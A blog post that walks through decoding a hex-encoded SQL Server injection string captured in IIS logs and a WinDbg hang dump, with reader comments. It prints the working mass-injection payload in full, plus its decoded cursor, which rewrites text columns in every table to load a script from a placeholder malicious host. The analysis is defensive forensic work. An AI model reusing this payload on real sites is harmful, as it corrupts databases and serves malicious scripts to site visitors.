How to Decipher Strings Originating from SQL Injection Attacks


This blog article was written by Ayax Vargas, a friend and co-worker from my team. Ayax is very skilled in development/debugging and SQL Server. A few days ago I was reading one analysis done by Ayax and I was impressed by how he translated what looked like an encrypted message to SQL commands! Actually I was so impressed that I asked him to write a blog article about it and share it with my readers.  J


 


I hope to create a script for automating this technique as soon as possible, so you won’t need to worry about memorizing the commands, including the SQL command.


 


Readers, this is cool stuff and I hope you enjoy it!


Ayax, thank you for sharing your technique, dude. J


 


It would appear that lately many public facing websites have received tons of extra traffic that doesn’t appear to be legitimate. In some of the cases, this results in the databases being corrupted with scripts pointing to malicious sites. So how do we tell if those attacks are coming in and how do we “decrypt” those binary strings that accompany the attacker’s requests?


In a case worked recently, the strings could be obtained from two locations: the IIS logs, and depending on the information at hand, we could get that from a hang dump.


 


INSPECTING THE IIS LOGS


First, we’ll see patterns where the suspicious requests are mixed in with legitimate ones. For simplification purposes, I have a malicious request following a legitimate request.


 


#Software: Microsoft Internet Information Services 6.0


#Version: 1.0


#Date: 2008-04-17 05:00:48


#Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-bytes time-taken


2008-04-17 05:00:50 W3SVC1 192.168.1.01 POST /mypage.asmx param1=myparam – 80 – 192.168.1.100 Mozilla/4.0+(compatible;+MSIE+6.0;+MS+Web+Services+Client+Protocol+2.0.50727.1433) – 200 699 15


2008-08-01 05:00:00 W3SVC1 192.168.1.01 POST /mypage.aspx param1=myparam&param2=123′;DECLARE%20@S%20CHAR(4000);SET%


20@S=CAST(0x4445434C415245204054207661726368617228323535292


C40432076617263686172283430303029204445434C415245205461626C6


55F437572736F7220435552534F5220464F522073656C65637420612E6E61


6D652C622E6E616D652066726F6D207379736F626A6563747320612C7379


73636F6C756D6E73206220776865726520612E69643D622E696420616E642


0612E78747970653D27752720616E642028622E78747970653D3939206F722


0622E78747970653D3335206F7220622E78747970653D323331206F7220622


E78747970653D31363729204F50454E205461626C655F437572736F7220464


5544348204E4558542046524F4D20205461626C655F437572736F7220494E54


4F2040542C4043205748494C4528404046455443485F5354415455533D30292


0424547494E20657865632827757064617465205B272B40542B275D20736574


205B272B40432B275D3D2727223E3C2F7469746C653E3C73637269707420737


2633D22687474703A2F2F736F6D656D616C6963696F7573736974652F637372


73732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B27272B4043


2B275D20776865726520272B40432B27206E6F74206C696B6520272725223E


3C2F7469746C653E3C736372697074207372633D22687474703A2F2F736F6D


656D616C6963696F7573736974652F63737273732F772E6A73223E3C2F7363


726970743E3C212D2D272727294645544348204E4558542046524F4D202054


61626C655F437572736F7220494E544F2040542C404320454E4420434C4F534


5205461626C655F437572736F72204445414C4C4F43415445205461626C655F


437572736F72%20AS%20CHAR(4000));EXEC(@S); – 80 – 192.168.1.100 Mozilla/4.0+(compatible;+MSIE+6.0;+MS+Web+Services+Client+Protocol+2.0.50727.1433) – 200 1658 2484


In this particular case, we see the first request to mypage.aspx followed by another request that is appending a parameter with the large hex number that looks like an encrypted or garbled message.


ANALYZING THE HANG DUMP


We also saw something similar analyzing a hang dump when the performance of the site was being diagnosed. In this case we started by looking at the System.Web.HttpRequest objects.


 


0:000> !dumpheap -type System.Web.HttpRequest


——————————


Heap 0


 Address       MT     Size


0279bdc8 663aa0a0      172    


02ab1530 663aa0a0      172    



083eedf0 663aa0a0      172    


083f5650 663aa0a0      172    


08443e98 663aa0a0      172    


084466e0 663aa0a0      172    


——————————


total 75 objects


Statistics:


      MT    Count    TotalSize Class Name


663aa0a0      75        30100 System.Web.HttpRequest


Total 75 objects       


 


 


Then we take any of those objects and inspect it.


 


0:000> !do 084466e0


Name: System.Web.HttpRequest


MethodTable: 663aa0a0


EEClass: 663aa030


Size: 172(0xac) bytes


 (C:\WINDOWS\assembly\GAC_32\System.Web\2.0.0.0__b03f5f7f11d50a3a\System.Web.dll)


Fields:


      MT    Field   Offset                 Type VT     Attr    Value Name


663add1c  400106d        4 …HttpWorkerRequest  0 instance 08445a64 _wr


663a9dac  400106e        8 …m.Web.HttpContext  0 instance 08446624 _context


790fd8c4  400106f        c        System.String  0 instance 08445c64 _httpMethod


663e471c  4001070       98         System.Int32  1 instance        5 _httpVerb


790fd8c4  4001071       10        System.String  0 instance 00000000 _requestType


6639b220  4001072       14 …m.Web.VirtualPath  0 instance 08447a70 _path


790fd8c4  4001073       18        System.String  0 instance 00000000 _rewrittenUrl


7910be50  4001074       a0       System.Boolean  1 instance        0 _computePathInfo


6639b220  4001075       1c …m.Web.VirtualPath  0 instance 08446864 _filePath


6639b220  4001076       20 …m.Web.VirtualPath  0 instance 00000000 _currentExecutionFilePath


6639b220  4001077       24 …m.Web.VirtualPath  0 instance 00000000 _pathInfo


790fd8c4  4001078       28        System.String  0 instance 084479ec _queryStringText


7910be50  4001079       a1       System.Boolean  1 instance        0 _queryStringOverriden


7912dae8  400107a       2c        System.Byte[]  0 instance 084479a8 _queryStringBytes


790fd8c4  400107b       30        System.String  0 instance 08445cdc _pathTranslated


790fd8c4  400107c       34        System.String  0 instance 08446d5c _contentType


79102290  400107d       9c         System.Int32  1 instance    39680 _contentLength


790fd8c4  400107e       38        System.String  0 instance 00000000 _clientTarget


7912d8f8  400107f       3c      System.Object[]  0 instance 00000000 _acceptTypes


7912d8f8  4001080       40      System.Object[]  0 instance 00000000 _userLanguages


663b2f48  4001081       44 …owserCapabilities  0 instance 02784fac _browsercaps


7a757bf0  4001082       48           System.Uri  0 instance 08447a84 _url


7a757bf0  4001083       4c           System.Uri  0 instance 08447bd8 _referrer


663e1a30  4001084       50 …b.HttpInputStream  0 instance 00000000 _inputStream


663e8be0  4001085       54 …ClientCertificate  0 instance 00000000 _clientCertificate



 


It’s going to have a few more properties, but let’s focus on the _url member, which is of type System.Uri:


 


0:000> !do 08447a84


Name: System.Uri


MethodTable: 7a757bf0


EEClass: 7a757a3c


Size: 40(0x28) bytes


 (C:\WINDOWS\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll)


Fields:


      MT    Field   Offset                 Type VT     Attr    Value Name


790fd8c4  4001b51        c        System.String  0 instance 08447aac m_String


790fd8c4  4001b52       10        System.String  0 instance 00000000 m_originalUnicodeString


7a757f34  4001b53       14     System.UriParser  0 instance 0260ba3c m_Syntax



Likewise, we ignore the rest of the properties and we get the m_String:


 


0:000> !do 08447aac


Name: System.String


MethodTable: 790fd8c4


EEClass: 790fd824


Size: 254(0xfe) bytes


 (C:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll)


String: /mypage.aspx param1=myparam&param2=123′;DECLARE%20@S%20CHAR(4000);SET%


20@S=CAST(0x4445434C415245204054207661726368617228323535292


C40432076617263686172283430303029204445434C415245205461626C6


55F437572736F7220435552534F5220464F522073656C65637420612E6E61


6D652C622E6E616D652066726F6D207379736F626A6563747320612C7379


73636F6C756D6E73206220776865726520612E69643D622E696420616E64


20612E78747970653D27752720616E642028622E78747970653D3939206F


7220622E78747970653D3335206F7220622E78747970653D323331206F72


20622E78747970653D31363729204F50454E205461626C655F437572736F7


2204645544348204E4558542046524F4D20205461626C655F437572736F72


20494E544F2040542C4043205748494C4528404046455443485F535441545


5533D302920424547494E20657865632827757064617465205B272B40542B


275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C73


6372697074207372633D22687474703A2F2F736F6D656D616C6963696F757


3736974652F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2


7272B5B27272B40432B275D20776865726520272B40432B27206E6F74206C


696B6520272725223E3C2F7469746C653E3C736372697074207372633D226


87474703A2F2F736F6D656D616C6963696F7573736974652F63737273732F7


72E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4


558542046524F4D20205461626C655F437572736F7220494E544F2040542C


404320454E4420434C4F5345205461626C655F437572736F72204445414C4


C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));


EXEC(@S);


 


We could get the strings either way. Obviously the process of inspecting the numerous objects could get tedious without a helper script or an extension that could extract the relevant properties to us.  If your application is running .Net 1.1, you can use the !aspxpages command from the SOS extension, but this is not implemented in 2.0.


In our case we were trying to look for threads doing any work at a given point in time and that’s how we ran into these mysterious strings.


TRANSLATING THE BINARY DATA


So now that we have the string, how do we go about seeing its real contents?


What I did is to first replace the URL encoding to get an actual statement I could consume. I started with this:


 


/mypage.aspx param1=myparam&param2=123′;DECLARE%20@S%20CHAR(4000);SET%


20@S=CAST(0x4445434C415245204054207661726368617228323535292


C40432076617263686172283430303029204445434C415245205461626C6


55F437572736F7220435552534F5220464F522073656C65637420612E6E61


6D652C622E6E616D652066726F6D207379736F626A6563747320612C7379


73636F6C756D6E73206220776865726520612E69643D622E696420616E64


20612E78747970653D27752720616E642028622E78747970653D3939206F


7220622E78747970653D3335206F7220622E78747970653D323331206F72


20622E78747970653D31363729204F50454E205461626C655F437572736F7


2204645544348204E4558542046524F4D20205461626C655F437572736F72


20494E544F2040542C4043205748494C4528404046455443485F535441545


5533D302920424547494E20657865632827757064617465205B272B40542B


275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C73


6372697074207372633D22687474703A2F2F736F6D656D616C6963696F757


3736974652F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2


7272B5B27272B40432B275D20776865726520272B40432B27206E6F74206C


696B6520272725223E3C2F7469746C653E3C736372697074207372633D226


87474703A2F2F736F6D656D616C6963696F7573736974652F63737273732F7


72E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4


558542046524F4D20205461626C655F437572736F7220494E544F2040542C


404320454E4420434C4F5345205461626C655F437572736F72204445414C4


C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));


EXEC(@S);


And ended up with this:


 


DECLARE @S CHAR(4000);


SET @S=CAST(0x4445434C415245204054207661726368617228323535292


C40432076617263686172283430303029204445434C415245205461626C65


5F437572736F7220435552534F5220464F522073656C65637420612E6E616


D652C622E6E616D652066726F6D207379736F626A6563747320612C73797


3636F6C756D6E73206220776865726520612E69643D622E696420616E642


0612E78747970653D27752720616E642028622E78747970653D3939206F7


220622E78747970653D3335206F7220622E78747970653D323331206F722


0622E78747970653D31363729204F50454E205461626C655F437572736F7


2204645544348204E4558542046524F4D20205461626C655F437572736F7


220494E544F2040542C4043205748494C4528404046455443485F5354415


455533D302920424547494E20657865632827757064617465205B272B405


42B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3


C736372697074207372633D22687474703A2F2F736F6D656D616C6963696F


7573736974652F63737273732F772E6A73223E3C2F7363726970743E3C212D


2D27272B5B27272B40432B275D20776865726520272B40432B27206E6F742


06C696B6520272725223E3C2F7469746C653E3C736372697074207372633D


22687474703A2F2F736F6D656D616C6963696F7573736974652F637372737


32F772E6A73223E3C2F7363726970743E3C212D2D27272729464554434820


4E4558542046524F4D20205461626C655F437572736F7220494E544F204054


2C404320454E4420434C4F5345205461626C655F437572736F72204445414C


4C4F43415445205461626C655F437572736F72 AS CHAR(4000));


PRINT @S;


 


Note that at the end, I changed the EXEC to PRINT, so I don’t actually run the statement that could potentially harm my system. So now, I take this batch and run it in a local instance of SQL Server and this is what I see:


 


DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(‘update [‘+@T+’] set [‘+@C+’]=””></title><script src=”http://somemalicioussite/csrss/w.js”></script><!–”+[”+@C+’] where ‘+@C+’ not like ”%”></title><script src=”http://somemalicioussite/csrss/w.js”></script><!–”’)FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor


 


The statement is allocating a cursor to go over my tables and replace legitimate data with HTML markup that is running a script from an overseas site, such as script src=”http://somemalicioussite/csrss/w.js”


There are plentiful articles that discuss how to avoid SQL injection attacks, the main preventive measure being to avoid concatenating strings and always using the ADO.Net (or ADO if it’s a legacy application) Command and Parameter objects. In the case at hand, the attack was unsuccessful because the application was populating the Parameters collection of the Command object and validating user input at the web service level. Other sites haven’t been as robust and the data actually got into their databases, even causing their sites to be marked as suspect by search engines.


 


 

Comments (6)

  1. tony roth says:

    you have a warped sense of cool, but your right its cool!

  2. Barry Kelly says:

    The data are just hex-encoded ASCII values. Seems to me it would be much safer to translate those directly rather than feed it through a SQL server instance.

  3. I know it’s hex-encoded ASCII 🙂 I didn’t know that using SQL Server we could translate it. It’s way faster and simpler than using WinDbg, for example.

  4. skyemark says:

    We’ve been getting hit hard for a few months now. When the injection code is found in the querystring we redirect to a page that doesn’t exist. We were hoping if the bots got enough 404 errors they would leave us alone, but that’s not working. Anyone know of a poison pill we can send back to them?

  5. John H. says:

    To speed things up I’ve stopped giving any response to these.   I’m sure enough of my own code, that I parse my inbound variables for semicolons — If I find one, I abort the page and don’t send any response.

    If nothing else, it speeds up my server a little.